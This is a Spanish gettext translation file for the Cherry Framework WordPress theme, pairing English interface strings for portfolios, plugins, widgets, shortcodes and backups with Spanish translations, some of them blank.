msgid "Tag"
msgstr "Etiqueta"

#: ../includes/locals.php:498
msgid "Thumbnail"
msgstr "Thumbnail"

#: ../includes/locals.php:499
msgid "Your comment is awaiting moderation."
msgstr "Su comentario necesita moderación."

#: ../includes/locals.php:502
msgid "Please choose desired Portfolio Format and fill additional fields."
msgstr "Por favor, elija Formato de Cartera y rellene campos adicionales."

#: ../includes/locals.php:504
msgid "Grid Gallery"
msgstr "Galería Grid"

#: ../includes/locals.php:505
msgid "Portfolio Options"
msgstr "Opciones de Cartera"

#: ../includes/locals.php:506
msgid "Format"
msgstr "Formato"

#: ../includes/locals.php:507
msgid "Choose post format that most fit your needs."
msgstr "Elija formato de entrada."

#: ../includes/locals.php:508
msgid "Input project end date."
msgstr "Agregar fecha de proyecto."

#: ../includes/locals.php:509
msgid "Client"
msgstr "Cliente"

#: ../includes/locals.php:510
msgid "Input project owner name."
msgstr "Escriba nombre de propietario de proyecto"

#: ../includes/locals.php:511
msgid "Additional info for this portfolio item."
msgstr "Información adicional para este elemento de cartera."

#: ../includes/locals.php:512
msgid "Input the project URL (external link)"
msgstr "Escriba URL de proyecto (enlace externo)"

#: ../includes/locals.php:513 ../includes/locals.php:571
msgid "Image Settings"
msgstr "Configuración de Imagen"

#: ../includes/locals.php:514
msgid "Video Settings"
msgstr "Configuración de Vídeo"

#: ../includes/locals.php:515
msgid "Input the video title (for playlist)"
msgstr "Introduzca el título de vídeo (para la lista de reproducción)"

#: ../includes/locals.php:516
msgid "Artist"
msgstr "Artista"

#: ../includes/locals.php:517
msgid "Input the video artist (for playlist)."
msgstr "Introduzca el artista de vídeo (para lista de reproducción)."

#: ../includes/locals.php:518
msgid "Input URL to the <b>m4v</b> video format."
msgstr "Introduzca URL al formato de vídeo <b>m4v</b>."

#: ../includes/locals.php:519
msgid "Input URL to the <b>ogv</b> video format."
msgstr "Introduzca URL al formato de vídeo <b>ogv</b>."

#: ../includes/locals.php:520
msgid "Embedded Code"
msgstr "Código insertado"

#: ../includes/locals.php:521
msgid ""
"You can include embedded code here.<br><b>Attention!</b> This code overwrite "
"your video URL(s)."
msgstr ""
"Usted puede incluir el código incrustado aquí. <b>Nota</b> Este código "
"elimina URL(s) de su vídeo."

#: ../includes/locals.php:522
msgid "Audio Settings"
msgstr "Configuración de audio"

#: ../includes/locals.php:523
msgid "Input the audio title (for playlist)."
msgstr "Introduzca el título de audio (para lista de reproducción)."

#: ../includes/locals.php:524
msgid "Input the audio artist (for playlist)."
msgstr "Introduzca el artista de audio (para lista de reproducción)."

#: ../includes/locals.php:525
msgid "Audio format"
msgstr "Formato de audio"

#: ../includes/locals.php:526
msgid "Choose audio format."
msgstr "Elija el formato de audio."

#: ../includes/locals.php:527
msgid "Audio URL"
msgstr "URL de Audio"

#: ../includes/locals.php:528
msgid "Input the audio URL."
msgstr "Agregue URL de audio."

#: ../includes/locals.php:531
msgid "Slider Options"
msgstr "Opciones de Slider"

#: ../includes/locals.php:532
msgid "Caption"
msgstr "Título"

#: ../includes/locals.php:533
msgid "Input your caption for slide (HTML tags are allowed)."
msgstr ""
"Escriba su título para diapositiva (slide) (se puede usar etiquetas HTML)."

#: ../includes/locals.php:534
msgid "Input the slide URL (can be external link)"
msgstr "Agregar URL de diapositiva/slide (se puede usar enlaces externos)."

#: ../includes/locals.php:535
msgid "Please fill additional fields for slide."
msgstr "Por favor, rellene los campos adicionales para slide."

#: ../includes/locals.php:538
msgid "Personal Options"
msgstr "Opciones personales"

#: ../includes/locals.php:539
msgid "Please fill additional fields for person."
msgstr "Por favor, rellene los campos adicionales para persona."

#: ../includes/locals.php:540
msgid "Position"
msgstr "Puesto"

#: ../includes/locals.php:541
msgid "Input position of the person."
msgstr "Introduzca puesto de persona."

#: ../includes/locals.php:542
msgid "Input additional info."
msgstr "Agregar información adicional."

#: ../includes/locals.php:543
msgid "Social Networks"
msgstr "Redes Sociales"

#: ../includes/locals.php:544
msgid "Page URL"
msgstr "URL de la página"

#: ../includes/locals.php:545
msgid "Your Social Networks."
msgstr "Tus redes sociales."

#: ../includes/locals.php:546
msgid ""
"In icon field you need to specify the icon name that can be copied from the "
"<a target=\"_blank\" href=\"//fortawesome.github.io/Font-Awesome/3.2.1/icons/"
"#brand\">website</a>. E.g. \"icon-facebook\"."
msgstr ""
"En campo del icono es necesario especificar el nombre del icono que se puede "
"copiar de la <a target=\"_blank\" href=\"//fortawesome.github.io/Font-"
"Awesome/3.2.1/icons/#brand\">página web</a>. Por ejemplo \"icon-facebook\"."

#: ../includes/locals.php:547
msgid "Social Networks Title"
msgstr "Titulo de Redes Sociales"

#: ../includes/locals.php:548
msgid "Specify the heading for the social networks block."
msgstr "Especificar el titulo para el bloque de las redes sociales."

#: ../includes/locals.php:549 ../includes/locals.php:559
msgid "Email"
msgstr ""

#: ../includes/locals.php:550
msgid "Input email address."
msgstr ""

#: ../includes/locals.php:553
msgid "Testimonial Options"
msgstr "Opciones de testimonios"

#: ../includes/locals.php:554
msgid "Please fill additional fields for testimonial."
msgstr "Por favor, rellene los campos adicionales para testimonio."

#: ../includes/locals.php:555 ../includes/locals.php:884
#: ../includes/locals.php:949
msgid "Name"
msgstr "Nombre"

#: ../includes/locals.php:556
msgid "Input author's name."
msgstr "Agregue nombre de autor."

#: ../includes/locals.php:557
msgid "Input author's URL."
msgstr "Agregue URL de autor."

#: ../includes/locals.php:558
msgid "Input author's additional info."
msgstr "Agregue información adicional de autor."

#: ../includes/locals.php:560
msgid "Input author's email address."
msgstr ""

#: ../includes/locals.php:563
msgid "Quote Settings"
msgstr "Configuración de cita"

#: ../includes/locals.php:564
msgid "The Quote"
msgstr "Cita"

#: ../includes/locals.php:565
msgid "Put your quote in this field."
msgstr "Esriba su cita en este campo."

#: ../includes/locals.php:566 ../includes/locals.php:773
#: ../includes/locals.php:885
msgid "Author"
msgstr "Autor"

#: ../includes/locals.php:567
msgid "Put quote author in this field."
msgstr "Escriba nombre de autor de cita en este campo."

#: ../includes/locals.php:568
msgid "Link Settings"
msgstr "Configuración de Enlace"

#: ../includes/locals.php:569
msgid "The URL"
msgstr "URL"

#: ../includes/locals.php:570
msgid "Insert the URL you wish to link to."
msgstr "Inserte URL para crear enlace."

#: ../includes/locals.php:572
msgid "Input the video title (for playlist)."
msgstr "Agregue el título de vídeo (para la lista de reproducción)."

#: ../includes/locals.php:575
msgid "Category Include"
msgstr "Slug de categoría:"

#: ../includes/locals.php:576
msgid "The Category Slug"
msgstr "Slug de categoría:"

#: ../includes/locals.php:577
msgid ""
"Name of the custom category that is displayed on this page. You need to use "
"the slug of the category here."
msgstr ""
"Nombre de la categoría personalizada que se muestra en esta página. Es "
"necesario utilizar slug de la categoría aquí."

#: ../includes/locals.php:583
msgid "Something went wrong"
msgstr "Algo salió mal"

#: ../includes/locals.php:584
#, php-format
msgid "This theme requires the following plugin: %1$s."
msgstr "Este tema requeire el siguiente plugin: %1$s."

#: ../includes/locals.php:585
#, php-format
msgid "This theme requires the following plugins: %1$s."
msgstr "Este tema requeire los siguientes plugins: %1$s."

#: ../includes/locals.php:586
#, php-format
msgid "This theme recommends the following plugin: %1$s."
msgstr "Este tema recomienda el siguiente plugin: %1$s."

#: ../includes/locals.php:587
#, php-format
msgid "This theme recommends the following plugins: %1$s."
msgstr "Este tema recomienda los siguientes plugins: %1$s."

#: ../includes/locals.php:588
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to install the %s plugin. "
"Contact the administrator of this site for help on getting the plugin "
"installed."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para instalar el "
"plugin %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:589
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to install the %s "
"plugins. Contact the administrator of this site for help on getting the "
"plugins installed."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para instalar los "
"plugins %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:590
#, php-format
msgid "The following required plugin is currently inactive: %1$s."
msgstr "El siguiente plugin requerido está inactivo: %1$s."

#: ../includes/locals.php:591
#, php-format
msgid "The following required plugins are currently inactive: %1$s."
msgstr "Los siguientes plugins requeridos están inactivos: %1$s."

#: ../includes/locals.php:592
#, php-format
msgid "The following recommended plugin is currently inactive: %1$s"
msgstr "El siguiente plugin recomendado está inactivo: %1$s."

#: ../includes/locals.php:593
#, php-format
msgid "The following recommended plugins are currently inactive: %1$s."
msgstr "Los siguientes plugins recomendados están inactivos: %1$s."

#: ../includes/locals.php:594
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to activate the %s "
"plugin. Contact the administrator of this site for help on getting the "
"plugin activated."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para activar el "
"plugin %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:595
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to activate the %s "
"plugins. Contact the administrator of this site for help on getting the "
"plugins activated."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para activar los "
"plugins %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:596
#, php-format
msgid ""
"The following plugin needs to be updated to its latest version to ensure "
"maximum compatibility with this theme: %1$s."
msgstr ""
"Hay que actualizar este plugin y usar su última versión para garantizar la "
"máxima compatibilidad con este tema: %1$s."

#: ../includes/locals.php:597
#, php-format
msgid ""
"The following plugins need to be updated to their latest version to ensure "
"maximum compatibility with this theme: %1$s"
msgstr ""
"Hay que actualizar estes plugins y usar sus últimas versiónes para "
"garantizar la máxima compatibilidad con este tema: %1$s."

#: ../includes/locals.php:598
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to update the %s plugin. "
"Contact the administrator of this site for help on getting the plugin "
"updated."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para actualizar el "
"plugin %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:599
#, php-format
msgid ""
"Sorry, but you do not have the correct permissions to update the %s plugins. "
"Contact the administrator of this site for help on getting the plugins "
"updated."
msgstr ""
"Lo sentimos, pero Usted no tiene los permisos correctos para actualizar los "
"plugins %s. Póngase en contacto con el administrador de este sitio web."

#: ../includes/locals.php:600
msgid "Begin installing plugin"
msgstr "Iniciar la instalación de plugin"

#: ../includes/locals.php:601
msgid "Begin installing plugins"
msgstr "Iniciar la instalación de plugins"

#: ../includes/locals.php:602
msgid "Activate installed plugin"
msgstr "Activar plugin instalado"

#: ../includes/locals.php:603
msgid "Activate installed plugins"
msgstr "Activar plugins instalados"

#: ../includes/locals.php:605
msgid "Plugin activated successfully"
msgstr "Plugin está activado"

#: ../includes/locals.php:608
#, php-format
msgid "The following plugin was activated successfully: %s."
msgstr "El siguiente plugin está activado: %s."

#: ../includes/locals.php:610
msgid "External Link"
msgstr "Enlace externo"

#: ../includes/locals.php:618
msgid "No plugins to install or activate."
msgstr "No se puede instalar plugin."

#: ../includes/locals.php:627
msgid "The following plugins were activated successfully:"
msgstr "Los siguientes plugins están activados:"

#: ../includes/locals.php:629
#, php-format
msgid "Downloading install package from <span class='code'>%s</span>&#8230;"
msgstr ""
"Descargar paquete de instalación desde <span class='code'>%s</span>&#8230;"

#: ../includes/locals.php:648
msgid "Something went wrong with the plugin API._"
msgstr "Algo salió mal con el plugin API._"

#: ../includes/locals.php:649
msgid "updated"
msgstr "actualizado"

#: ../includes/locals.php:652
msgid "Close"
msgstr "Cerrar"

#: ../includes/locals.php:655
msgid "Sidebar"
msgstr "Barra lateral"

#: ../includes/locals.php:656
msgid "Located at the right side of pages."
msgstr "Se encuentra a la derecha de las páginas."

#: ../includes/locals.php:657
msgid "Footer Area 1"
msgstr "Área de pie de página 1"

#: ../includes/locals.php:658
msgid "Footer Area 2"
msgstr "Área de pie de página 2"

#: ../includes/locals.php:659
msgid "Footer Area 3"
msgstr "Área de pie de página 3"

#: ../includes/locals.php:660
msgid "Footer Area 4"
msgstr "Área de pie de página 4"

#: ../includes/locals.php:661
msgid "Located at the bottom of pages."
msgstr "Se encuentra en el pie de página."

#: ../includes/locals.php:662
msgid "Archives"
msgstr "Archivo"

#: ../includes/locals.php:663
msgid "Meta"
msgstr "Meta"

#: ../includes/locals.php:666
msgid "No comments"
msgstr "No hay comentarios"

#: ../includes/locals.php:667
msgid "1 comment"
msgstr "1 comentario"

#: ../includes/locals.php:668
msgid "comments"
msgstr "comentarios"

#: ../includes/locals.php:669
msgid "comments-link"
msgstr "comentarios-enlace"

#: ../includes/locals.php:670
msgid "Comments are closed"
msgstr "Los comentarios están cerrados."

#: ../includes/locals.php:671
msgid "No tags"
msgstr "No hay etiquetas"

#: ../includes/locals.php:672
msgid "No category"
msgstr "Sin categoría"

#: ../includes/locals.php:674
msgid "I like it."
msgstr "Me gusta."

#: ../includes/locals.php:675
msgid "I don't like."
msgstr "No me gusta."

#: ../includes/locals.php:676
msgid "Only registered users can vote!"
msgstr "Solo usuarios registrados pueden votar!"

#: ../includes/locals.php:677
msgid "You have already voted."
msgstr "Ya has votado."

#: ../includes/locals.php:680
msgid "&laquo; Older Entries"
msgstr "&laquo; Entradas anteriores"

#: ../includes/locals.php:681
msgid "Newer Entries &raquo;"
msgstr "Entradas nuevas  &raquo;"

#: ../includes/locals.php:684
msgid "Shortcode Options"
msgstr "Opciones de código corto"

#: ../includes/locals.php:685
msgid "Cancel"
msgstr "Cancelar"

#: ../includes/locals.php:686
msgid "Insert Shortcode"
msgstr "Insertar código corto"

#: ../includes/locals.php:689
msgid "Posts"
msgstr "Entradas"

#: ../includes/locals.php:690
msgid "Posts Grid"
msgstr "Grid de entradas"

#: ../includes/locals.php:691
msgid "Posts List"
msgstr "Lista de entradas"

#: ../includes/locals.php:692
msgid "Mini Posts Grid"
msgstr "Entradas Mini Grid"

#: ../includes/locals.php:693
msgid "Mini Posts List"
msgstr "Entradas Mini Lista"

#: ../includes/locals.php:694
msgid "Recent Posts"
msgstr "Entradas nuevas"

#: ../includes/locals.php:695
msgid "Recent Testimonials"
msgstr "Testimonios nuevos"

#: ../includes/locals.php:696
msgid "Basic"
msgstr "Básico"

#: ../includes/locals.php:697
msgid "Banner"
msgstr "Banner"

#: ../includes/locals.php:698
msgid "Comments"
msgstr "Comentarios"

#: ../includes/locals.php:699
msgid "Post Cycle"
msgstr "Post Cycle/Ciclo de Entrada"

#: ../includes/locals.php:700
msgid "Carousel (Elasti)"
msgstr "Carrusel (Elasti)"

#: ../includes/locals.php:701
msgid "Carousel (OWL)"
msgstr "Carrusel (OWL)"

#: ../includes/locals.php:702
msgid "Roundabout"
msgstr "Rotonda"

#: ../includes/locals.php:703
msgid "Service Box"
msgstr "Cuadro de Servicio"

#: ../includes/locals.php:704
msgid "Hero Unit"
msgstr "Hero Unit"

#: ../includes/locals.php:706
msgid "Fluid Column"
msgstr "Fluid Column/Columna Fluida"

#: ../includes/locals.php:707
msgid "2 Columns"
msgstr "2 Columnas"

#: ../includes/locals.php:708
msgid "3 Columns"
msgstr "3 Columnas"

#: ../includes/locals.php:709
msgid "4 Columns"
msgstr "4 Columnas"

#: ../includes/locals.php:710
msgid "Elements"
msgstr "Elementos"

#: ../includes/locals.php:711
msgid "Label"
msgstr "Etiqueta"

#: ../includes/locals.php:712
msgid "Text Highlight"
msgstr "Texto destacado"

#: ../includes/locals.php:713
msgid "Button"
msgstr "Botón"

#: ../includes/locals.php:714
msgid "Drop Cap"
msgstr "Letra Capital"

#: ../includes/locals.php:715
msgid "Blockquote"
msgstr "Bloque de cita"

#: ../includes/locals.php:716
msgid "Icon"
msgstr "Icono"

#: ../includes/locals.php:717
msgid "Frame"
msgstr "Frame"

#: ../includes/locals.php:718
msgid "Horizontal Rule"
msgstr "Regla horizontal"

#: ../includes/locals.php:719
msgid "Small Horizontal Rule"
msgstr "Regla pequeña horizontal"

#: ../includes/locals.php:720
msgid "Vertical Rule"
msgstr "Regla vertical"

#: ../includes/locals.php:721
msgid "Spacer"
msgstr "Spacer"

#: ../includes/locals.php:722
msgid "Progressbar"
msgstr "Barra de progreso"

#: ../includes/locals.php:723
msgid "Address"
msgstr "Dirección"

#: ../includes/locals.php:724
msgid "Clear"
msgstr "Clear/Limpio"

#: ../includes/locals.php:725
msgid "Extra Wrap"
msgstr "Extra wrap/Envoltura adicional"

#: ../includes/locals.php:726
msgid "Lists"
msgstr "Listas"

#: ../includes/locals.php:727
msgid "Unstyled"
msgstr "Unstyled/Sin estilo"

#: ../includes/locals.php:728
msgid "Check List"
msgstr "Check list/Lista de verificación"

#: ../includes/locals.php:729
msgid "Check 2 List"
msgstr "Check 2 list/Lista de verificación 2"

#: ../includes/locals.php:730
msgid "Arrow List"
msgstr "Arrow List/Lista de flechas"

#: ../includes/locals.php:731
msgid "Arrow 2 List"
msgstr "Arrow 2 List/Lista de flechas 2"

#: ../includes/locals.php:732
msgid "Star List"
msgstr "Star list/Lista de estrellas"

#: ../includes/locals.php:733
msgid "Plus List"
msgstr "Plus list/Lista de signo más"

#: ../includes/locals.php:734
msgid "Minus List"
msgstr "Minus list/Lista de signo menos"

#: ../includes/locals.php:735
msgid "Custom List"
msgstr "Lista personalizada"

#: ../includes/locals.php:736
msgid "Audio & Video"
msgstr "Audio y Vídeo"

#: ../includes/locals.php:737
msgid "Video Preview"
msgstr "Vista previa de vídeo"

#: ../includes/locals.php:738
msgid "Misc"
msgstr "Misceláneo"

#: ../includes/locals.php:739
msgid "Alert Box"
msgstr "Cuadro de advertencia"

#: ../includes/locals.php:740
msgid "Close icon"
msgstr "Cerrar icono"

#: ../includes/locals.php:741
msgid "Well"
msgstr "Bien"

#: ../includes/locals.php:742
msgid "Small"
msgstr "Pequeño"

#: ../includes/locals.php:743
msgid "Title Box"
msgstr "Cuadro de Título"

#: ../includes/locals.php:744
msgid "Template URL"
msgstr "URL de Plantilla"

#: ../includes/locals.php:745
msgid "Tabs"
msgstr "Pestañas"

#: ../includes/locals.php:746
msgid "Accordion"
msgstr "Acordeón"

#: ../includes/locals.php:747
msgid "Table"
msgstr "Tabla"

#: ../includes/locals.php:748
msgid "Google Map"
msgstr "Mapa de Google"

#: ../includes/locals.php:749
msgid "Sitemap"
msgstr "Mapa del sitio"

#: ../includes/locals.php:752
msgid "Add 125x125 ads."
msgstr "Agregar anuncios 125x125."

#: ../includes/locals.php:753
msgid "Cherry - 125x125 Ads"
msgstr "Cherry - Anuncios 125x125"

#: ../includes/locals.php:754
msgid "Ad 1"
msgstr "Anuncio 1"

#: ../includes/locals.php:755
msgid "Ad 2"
msgstr "Anuncio 2"

#: ../includes/locals.php:756
msgid "Ad 3"
msgstr "Anuncio 3"

#: ../includes/locals.php:757
msgid "Ad 4"
msgstr "Anuncio 4"

#: ../includes/locals.php:758
msgid "Image Ad Link:"
msgstr "Enlace de Imagen de anuncio:"

#: ../includes/locals.php:759
msgid "Ad Link:"
msgstr "Enlace de Anuncio:"

#: ../includes/locals.php:762
msgid "Cherry - Recent Comments"
msgstr "Cherry - Comentarios nuevos"

#: ../includes/locals.php:763
msgid "My Recent Comments"
msgstr "Mis comentarios nuevos"

#: ../includes/locals.php:764
msgid "Go to this comment"
msgstr "Abrir este comentario"

#: ../includes/locals.php:765
msgid "Number of comments to show"
msgstr "Numero de comentarios para mostrar"

#: ../includes/locals.php:766
msgid "Display avatar"
msgstr "Mostrar avatar"

#: ../includes/locals.php:767
msgid "Avatar size (px)"
msgstr "Tamaño de avatar"

#: ../includes/locals.php:768
msgid "Display the comment author"
msgstr "Mostrar comentario del autor"

#: ../includes/locals.php:769
msgid "Display the comment date"
msgstr "Mostrar fecha del comentario"

#: ../includes/locals.php:770
msgid "Display post title"
msgstr "Mostrar titulo de entrada"

#: ../includes/locals.php:771
msgid "Meta format"
msgstr "Formato meta"

#: ../includes/locals.php:774
msgid "Comment in"
msgstr "Comentarios en"

#: ../includes/locals.php:777
msgid "Cherry - Flickr"
msgstr "Cherry - Flickr"

#: ../includes/locals.php:778
msgid "Flickr ID:"
msgstr "ID de Flickr:"

#: ../includes/locals.php:779
msgid "Images count:"
msgstr "Número de imágenes:"

#: ../includes/locals.php:782
msgid "Cherry - Advanced Cycle"
msgstr "Cherry - Ciclo avanzado"

#: ../includes/locals.php:783
msgid "Show custom posts"
msgstr "Mostrar entradas personalizadas"

#: ../includes/locals.php:784
msgid "Posts type"
msgstr "Tipo de entrada"

#: ../includes/locals.php:785
msgid "Number of posts to show"
msgstr "Número de entradas mostradas"

#: ../includes/locals.php:786
msgid "Sort by"
msgstr "Ordenar"

#: ../includes/locals.php:787
msgid "Reverse sort order (ascending)"
msgstr "Invertir orden de clasificación (ascendente)"

#: ../includes/locals.php:788
msgid "Show number of comments"
msgstr "Mostrar número de comentarios"

#: ../includes/locals.php:789
msgid "Show meta"
msgstr "Mostrar meta"

#: ../includes/locals.php:790
msgid "Container class"
msgstr "Clase de contenedor"

#: ../includes/locals.php:791
msgid "(default: \"featured_custom_posts\")"
msgstr "(predeterminado: \"featured_custom_posts\")"

#: ../includes/locals.php:792
msgid "Post title"
msgstr "Título de entrada"

#: ../includes/locals.php:793
msgid "Show post title"
msgstr "Mostrar título de entrada"

#: ../includes/locals.php:794
msgid ""
"Date as title <span style='font-size:11px; color:#999;'>('[mm-dd-yyyy]')</"
"span>"
msgstr ""
"Fecha como título <span style='font-size:11px; color:#999;'>('[mm-dd-"
"yyyy]')</span>"

#: ../includes/locals.php:795
msgid "Excerpt"
msgstr "Extracto"

#: ../includes/locals.php:796
msgid "Show post excerpt"
msgstr "Mostrar extracto de entrada"

#: ../includes/locals.php:797
msgid "Excerpt as link"
msgstr "Extracto como enlace"

#: ../includes/locals.php:798
msgid "More link"
msgstr "Enlace Más"

#: ../includes/locals.php:799
msgid "Show \"More link"
msgstr "Mostrar enlace  \"More (Más)\""

#: ../includes/locals.php:800
msgid "(default: \"Read more\")"
msgstr "(predeterminado: \"Read more\")"

#: ../includes/locals.php:801
msgid "Link class"
msgstr "Clase de enlace"

#: ../includes/locals.php:802
msgid "(default: \"link\")"
msgstr "(predeterminado: \"link\")"

#: ../includes/locals.php:803
msgid "Thumbnail dimensions"
msgstr "Dimensiones miniaturas"

#: ../includes/locals.php:804
msgid "Show post thumbnail"
msgstr "Mostrar thumbnail de entrada"

#: ../includes/locals.php:805
msgid "Thumbnail as link"
msgstr "Thumbnail como enlace"

#: ../includes/locals.php:806
msgid "Link to all posts"
msgstr "Enlace a todas entradas"

#: ../includes/locals.php:807
msgid "Show global link to all posts"
msgstr "Mostrar el enlace global a todas entradas."

#: ../includes/locals.php:808
msgid "(default: \"View all\")"
msgstr "(predeterminado: \"View all\")"

#: ../includes/locals.php:811
msgid "Cherry - Recent Posts"
msgstr "Cherry - Entradas nuevas"

#: ../includes/locals.php:812
msgid "Permanent Link to"
msgstr "Enlace permanente a"

#: ../includes/locals.php:813
msgid "Category Slug:"
msgstr "Slug de categoría:"

#: ../includes/locals.php:814
msgid "Post format:"
msgstr "Formato de entradas:"

#: ../includes/locals.php:815
msgid "Post order:"
msgstr "Órden de entradas:"

#: ../includes/locals.php:816
msgid "Posts per page:"
msgstr "Entradas en página:"

#: ../includes/locals.php:819
msgid "Cherry - Social Networks"
msgstr "Cherry - Redes sociales"

#: ../includes/locals.php:820
msgid "Link to your social networks."
msgstr "Enlace a su red social."

#: ../includes/locals.php:822
msgid "Display:"
msgstr "Mostrar:"

#: ../includes/locals.php:823
msgid "Icons"
msgstr "Iconos"

#: ../includes/locals.php:824
msgid "Labels"
msgstr "Etiquetas"

#: ../includes/locals.php:825
msgid "Both"
msgstr "Ambos"

#: ../includes/locals.php:828
msgid "Cherry - Twitter"
msgstr "Cherry - Twitter"

#: ../includes/locals.php:829
msgid "Twitter Name:"
msgstr "Nombre de Twitter:"

#: ../includes/locals.php:830
msgid "Twitts Number:"
msgstr "Número de Twitts:"

#: ../includes/locals.php:833
msgid "Cherry - vCard"
msgstr "Cherry - vCard"

#: ../includes/locals.php:834
msgid "Use this widget to add a vCard"
msgstr "Utilice este widget para añadir una vCard"

#: ../includes/locals.php:835
msgid "vCard"
msgstr "vCard"

#: ../includes/locals.php:836
msgid "Street Address:"
msgstr "Dirección:"

#: ../includes/locals.php:837
msgid "HTML map code:"
msgstr "Código de mapa HTML:"

#: ../includes/locals.php:838
msgid "Map width:"
msgstr "Ancho de mapa:"

#: ../includes/locals.php:839
msgid "Map height:"
msgstr "Altura de mapa:"

#: ../includes/locals.php:840
msgid "Display map"
msgstr "Mostrar mapa"

#: ../includes/locals.php:841
msgid "City/Locality:"
msgstr "Ciudad/Localidad:"

#: ../includes/locals.php:842
msgid "State/Region:"
msgstr "Estado/región:"

#: ../includes/locals.php:843
msgid "Zipcode/Postal Code:"
msgstr "Código postal:"

#: ../includes/locals.php:844
msgid "Telephone:"
msgstr "Teléfono:"

#: ../includes/locals.php:845
msgid "Email:"
msgstr "Email:"

#: ../includes/locals.php:848 ../includes/locals.php:849
msgid "Cherry - Facebook Like Box Widget"
msgstr "Cherry - Facebook Like Box Widget"

#: ../includes/locals.php:850
msgid "Facebook page url"
msgstr "URL de página Facebook"

#: ../includes/locals.php:851
msgid ""
"The Like Box only works with <a target=\"_blank\" href=\"//www.facebook.com/"
"help/174987089221178/\" title=\"Facebook Pages\">Facebook Pages.</a>"
msgstr ""
"El widget Like Box sólo funciona en las <a target=\"_blank\" href=\"//www."
"facebook.com/help/174987089221178/\" title=\"Facebook Pages\">Páginas de "
"Facebook.</a>"

#: ../includes/locals.php:852
msgid "Color Scheme"
msgstr "Esquema de color"

#: ../includes/locals.php:853
msgid "Light"
msgstr "Luz"

#: ../includes/locals.php:854
msgid "Dark"
msgstr "Oscuro"

#: ../includes/locals.php:855
msgid "Display header"
msgstr "Mostrar encabezado"

#: ../includes/locals.php:856
msgid "Display stream"
msgstr "Mostrar flujo"

#: ../includes/locals.php:857
msgid "Display border"
msgstr "Mostrar marco"

#: ../includes/locals.php:858
msgid "Display faces"
msgstr "Mostrar caras"

#: ../includes/locals.php:859
msgid "My Facebook Page"
msgstr "Mi Página Facebook"

#: ../includes/locals.php:862
msgid "Default options restored."
msgstr "Opciones predeterminadas están restauradas."

#: ../includes/locals.php:863
msgid "Options saved."
msgstr "Opciones guardadas."

#: ../includes/locals.php:864
msgid "Cherry Store"
msgstr "Cherry Store"

#: ../includes/locals.php:865
msgid "Latest Templates"
msgstr "Plantillas Nuevas"

#: ../includes/locals.php:866
msgid "News & Updates"
msgstr "Noticias y Actualizaciones"

#: ../includes/locals.php:867
msgid "Help & Support"
msgstr "Soporte"

#: ../includes/locals.php:868
msgid "No items"
msgstr "Nada"

#: ../includes/locals.php:869
msgid "Posted"
msgstr "Publicado en"

#: ../includes/locals.php:870
msgid "All templates"
msgstr "Todas las plantillas"

#: ../includes/locals.php:873
msgid "Start"
msgstr "Iniciar"

#: ../includes/locals.php:876
msgid "Data Management"
msgstr "Gestión de datos"

#: ../includes/locals.php:877
msgid "Cherry Framework"
msgstr "Marco de trabajo Cherry"

#: ../includes/locals.php:878
msgid "Update Info"
msgstr "Actualizar Información"

#: ../includes/locals.php:879
msgid "Child Theme"
msgstr "Tema secundario"

#: ../includes/locals.php:880
msgid "Update"
msgstr "Actualizar"

#: ../includes/locals.php:881
msgid "Backup"
msgstr "Copia de seguridad"

#: ../includes/locals.php:882
msgid "Restore"
msgstr "Restaurar"

#: ../includes/locals.php:883
msgid "Download Backup"
msgstr "Descargar copia de seguridad"

#: ../includes/locals.php:886
msgid "Your Version"
msgstr "Su Versión"

#: ../includes/locals.php:887
msgid "Update Version"
msgstr "Actualizar Versión"

#: ../includes/locals.php:888
msgid "Backup Version"
msgstr "Versión de copia de seguridad"

#: ../includes/locals.php:889
msgid "Last Backup Date"
msgstr "Fecha de Copia de seguridad"

#: ../includes/locals.php:890
msgid "Preview"
msgstr "Vista Previa"

#: ../includes/locals.php:891
msgid "Description"
msgstr "Descripción"

#: ../includes/locals.php:892
msgid "No backup."
msgstr "No hay copias de seguridad."

#: ../includes/locals.php:893
msgid "Not defined"
msgstr "No definido"

#: ../includes/locals.php:894
msgid "Unfortunately theme "
msgstr "Desafortunadamente"

#: ../includes/locals.php:895
msgid " backup file not found. Please try to create backup once again."
msgstr ""
"no se encuentra el fichero de copia de seguridad. Por favor, cree una copia "
"de seguridad de nuevo."

#: ../includes/locals.php:896
msgid ""
"Data Management allows to update or backup framework and themes. Framework "
"is regularly updated thus delivering new opportunities for your site.<br> To "
"keep your data safe, you can back up the framework or child theme, to be "
"able to download it later. If necessary, you can restore the framework or "
"your theme using the backup."
msgstr ""
"Gestión de datos permite actualizar o crear copia de seguridad su framework "
"y temas. Framework es actualizado regularmente para ofrecerle todas las "
"nuevas oportunidades. <br> Para mantener la seguridad de sus datos, Usted "
"puede crear copias de seguridad de framework o tema secundario, de esta "
"manera tendrá la oportunidad de descargarlas más tarde. Si es necesario, "
"Usted puede restaurar su framework o tema utilizando la copia de seguridad."

#: ../includes/locals.php:897
msgid ""
"<b>Warning!</b> Before updating framework you are strongly advised to backup "
"your data."
msgstr ""
"<b>NOTA</b> Antes de actualizar framework tiene que hacer copias de "
"seguridad de sus datos."

#: ../includes/locals.php:898
msgid ""
"You can back up your theme. If the theme has a backup copy, it is possible "
"to restore it or download. The date of the latest backup copy is displayed "
"in the column <b>Last Backup Date</b>."
msgstr ""
"Usted puede haver copia de seguridad de su tema. Si el tema tiene una copia "
"de seguridad, podrá restaurarlo o descargarlo. La fecha de la última copia "
"de seguridad se muestra en la columna <b>Fecha de Copia de seguridad</b>."

#: ../includes/locals.php:899
msgid ""
"<b style=\"color:red;\">Warning!</b> Before updating framework you are "
"strongly advised to <a href=\"admin.php?page=options-framework-data-"
"management\">backup</a> your data."
msgstr ""
